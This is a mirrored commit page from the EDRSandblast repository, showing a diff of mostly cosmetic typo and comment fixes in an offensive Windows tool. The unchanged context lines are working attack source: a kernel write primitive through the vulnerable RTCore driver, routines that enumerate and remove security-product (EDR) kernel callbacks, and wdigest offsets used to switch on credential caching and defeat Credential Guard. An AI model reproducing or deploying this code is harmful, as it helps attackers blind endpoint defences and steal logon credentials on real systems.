mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
Various cosmetic changes
This commit is contained in:
@@ -108,7 +108,7 @@ VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* RTCore driver allows to write 1, 2 or 4 bytes at a type
|
* RTCore driver allows to write 1, 2 or 4 bytes at a time
|
||||||
*/
|
*/
|
||||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||||
while (Size) {
|
while (Size) {
|
||||||
|
|||||||
@@ -12,27 +12,28 @@
|
|||||||
|
|
||||||
|
|
||||||
enum WdigestOffsetType {
|
enum WdigestOffsetType {
|
||||||
g_fParameter_UseLogonCredential = 0,
|
g_fParameter_UseLogonCredential = 0,
|
||||||
g_IsCredGuardEnabled = 1,
|
g_IsCredGuardEnabled = 1,
|
||||||
_SUPPORTED_WDIGEST_OFFSETS_END
|
_SUPPORTED_WDIGEST_OFFSETS_END
|
||||||
};
|
};
|
||||||
|
|
||||||
union WdigestOffsets {
|
union WdigestOffsets {
|
||||||
// structure version of wdigest.dll's offsets
|
// structure version of wdigest.dll's offsets
|
||||||
struct {
|
struct {
|
||||||
// wdigest.dll's g_fParameter_UseLogonCredential
|
// wdigest.dll's g_fParameter_UseLogonCredential
|
||||||
DWORD64 g_fParameter_UseLogonCredential;
|
DWORD64 g_fParameter_UseLogonCredential;
|
||||||
// wdigest.dll's g_IsCredGuardEnabled
|
// wdigest.dll's g_IsCredGuardEnabled
|
||||||
DWORD64 g_IsCredGuardEnabled;
|
DWORD64 g_IsCredGuardEnabled;
|
||||||
} st;
|
} st;
|
||||||
|
|
||||||
// array version (usefull for code factoring)
|
// array version (usefull for code factoring)
|
||||||
DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END];
|
DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END];
|
||||||
};
|
};
|
||||||
|
|
||||||
union WdigestOffsets g_wdigestOffsets;
|
union WdigestOffsets g_wdigestOffsets;
|
||||||
|
|
||||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
// TODO : create a LoadWdigestOffsets function like LoadCiOffsets
|
||||||
|
// TODO2 : find a way to factorize all the copy-pasted code between Ci/Ntoskrnl/Wdigest/FltmgrOffsets
|
||||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
||||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
||||||
|
|
||||||
|
|||||||
@@ -25,8 +25,8 @@ DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
|
|||||||
|
|
||||||
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
|
||||||
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
|
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
|
||||||
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
|
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
|
||||||
|
|
||||||
SIZE_T CurrentEDRCallbacksCount = 0;
|
SIZE_T CurrentEDRCallbacksCount = 0;
|
||||||
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
|
||||||
@@ -36,7 +36,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
|||||||
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
|
DWORD64 cbFunction = ReadMemoryDWORD64(callback);
|
||||||
DWORD64 driverOffset;
|
DWORD64 driverOffset;
|
||||||
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
|
TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
|
||||||
|
|
||||||
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
|
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
|
||||||
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
|
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
|
||||||
@@ -49,7 +49,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
|||||||
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
|
newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
|
||||||
newFoundDriver.callback_func = cbFunction;
|
newFoundDriver.callback_func = cbFunction;
|
||||||
|
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\tFound callback belonging to EDR driver %s"), driver);
|
||||||
if (verbose) {
|
if (verbose) {
|
||||||
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
|
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
|
||||||
}
|
}
|
||||||
@@ -66,24 +66,24 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (CurrentEDRCallbacksCount == 0) {
|
if (CurrentEDRCallbacksCount == 0) {
|
||||||
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!"));
|
_putts_or_not(TEXT("[+] [NotifyRoutines]\tNo EDR driver(s) found!"));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
|
||||||
}
|
}
|
||||||
return CurrentEDRCallbacksCount > 0;
|
return CurrentEDRCallbacksCount > 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
|
||||||
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
||||||
|
|
||||||
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
|
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
|
||||||
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
||||||
if (cb->type == NOTIFY_ROUTINE_CB &&
|
if (cb->type == NOTIFY_ROUTINE_CB &&
|
||||||
cb->addresses.notify_routine.type == notifyRoutineType &&
|
cb->addresses.notify_routine.type == notifyRoutineType &&
|
||||||
cb->removed == !remove) {
|
cb->removed == !remove) {
|
||||||
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
|
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
|
||||||
action,
|
action,
|
||||||
cb->driver_name,
|
cb->driver_name,
|
||||||
cb->addresses.notify_routine.callback_struct_addr,
|
cb->addresses.notify_routine.callback_struct_addr,
|
||||||
|
|||||||
@@ -17,7 +17,6 @@
|
|||||||
|
|
||||||
union WdigestOffsets g_wdigestOffsets = { 0 };
|
union WdigestOffsets g_wdigestOffsets = { 0 };
|
||||||
|
|
||||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
|
||||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
||||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||||
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||||
|
|||||||
@@ -446,8 +446,8 @@ Dump options:\n\
|
|||||||
PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName);
|
PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName);
|
||||||
}
|
}
|
||||||
|
|
||||||
_putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives..."));
|
_putts_or_not(TEXT("[+] Loading required offsets for ntoskrnl.exe..."));
|
||||||
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
|
||||||
if (FileExists(ntoskrnlOffsetCSVPath)) {
|
if (FileExists(ntoskrnlOffsetCSVPath)) {
|
||||||
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
||||||
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
|
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
|
||||||
@@ -518,6 +518,7 @@ Dump options:\n\
|
|||||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
||||||
if (foundNotifyRoutineCallbacks) {
|
if (foundNotifyRoutineCallbacks) {
|
||||||
isSafeToExecutePayloadKernelland = FALSE;
|
isSafeToExecutePayloadKernelland = FALSE;
|
||||||
|
|||||||
Reference in New Issue
Block a user